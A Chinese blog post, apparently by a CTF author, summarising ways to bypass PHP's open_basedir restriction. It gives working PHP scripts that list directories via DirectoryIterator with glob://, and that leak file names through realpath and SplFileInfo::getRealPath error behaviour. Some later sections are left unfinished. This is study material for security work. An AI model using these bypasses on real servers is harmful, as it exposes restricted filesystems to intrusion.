前言
之前在出国赛题的时候,设置open_basedir
的时候突发奇想,可不可以绕过open_basedir
呢,谷歌了一波,发现确实有不少的tricks,遂来总结一波
DirectoryIterator + Glob列目录
DirectoryIterator是一个php提供的用于查看文件系统目录的一个接口,调用它是可以直接看到文件目录的,但是如果我们设置了open_basedir
的时候,用它列举不允许的目录,就会直接导致服务器500 glob是自php5.3起用来查找匹配的文件路径模式的一个流包装器 当他们组合一起的时候就很炫了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php printf('open_basedir: %s </br>' ,ini_get('open_basedir' )); $file_list = array (); $it = new DirectoryIterator("glob:///*" ); foreach ($it as $f){ $file_list[] = $f->__toString(); } $it = new DirectoryIterator("glob:///.*" ); foreach ($it as $f){ $file_list[] = $f->__toString(); } sort($file_list); foreach ($file_list as $f){ echo "{$f}<br/>" ; }
可以看到,成功地列出了目录了,这个漏洞直到php7还能用,测试环境是linux+php7(摇头.gif
realpath列目录
realpath是php中一个将相对路径转化为绝对路径的方法,而如果开启了open_basedir
的话,如果我们传入一个不存在的文件名,会返回false,但是如果我们传入一个不在open_basedir
里的文件的话,他就会返回file is not within the allowed path(s)
,所以这个时候就可以类似于报错盲注去爆出文件名了 这里有个小trick,利用windows下的通配符<和>去进行爆破可以快一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
<?php ini_set('open_basedir' ,dirname(__FILE__ )); printf("open_basedir: %s<br/><br/>" , ini_get('open_basedir' )); set_error_handler('isexist' ); $dir = 'd:/test/' ; $file = '' ; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789-*/+_' ; for ($i=0 ; $i<strlen($chars); $i++){ $file = $dir.$chars[$i].'<<' ; realpath($file); } function isexist ($errno, $errstr) { $regex = '/File\((.*)\) is not within/' ; printf("errstr: %s <br/>" ,$errstr); preg_match($regex, $errstr, $mathes); if (isset ($mathes[1 ])){ printf("%s <br/><br/>" , $mathes[1 ]); } }
可以看到,当报错的时候会将文件名也直接爆出来,因此如果文件名首字母不一致的话,跑一次就能直接将所有文件名跑出来了,如果重复问题也不大,改下前缀也都能出来的
SplFileInfo::getRealPath列目录
SplFileInfo类是一个用来为单个文件的信息提供高级的面向对象的接口,这个类可以进行很多文件的方法,其中就有一个方法和之前的realpath
很相似,就是getRealPath
,这个方法在获取文件路径的时候,如果存入一个不存在的路径时,会返回false,否则返回绝对路径,而且他还直接忽略了open_basedir
的设定
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php ini_set('open_basedir' , dirname(__FILE__ )); printf("open_basedir: %s <br/><br/>" , ini_get('open_basedir' )); $basedir = 'd:/test/' ; $arr = array (); $chars = 'abcdefghijklmnopqrstuvwxyz0123456789' ; for ($i=0 ; $i < strlen($chars); $i++) { $info = new SplFileInfo($basedir . $chars[$i] . '<<' ); $re = $info->getRealPath(); if ($re) { echo $re."<br>" ; } }
这里基本就是realpath
的利用,相差不大,甚至还简单一点
bindtextdomain
bindtextdomain是一个域的操作的函数??
利用文件夹bypass
之前师兄在群上发过一张图 可以看到open_basedir
是/var/www/html
,但是经过这些操作居然能读到根目录了,先跟过去看一下底层的实现是怎样的,它们对应的函数是
1 2
ini_set: PHP_FUNCTION(ini_set) ini_get: PHP_FUNCTION(ini_get)
评论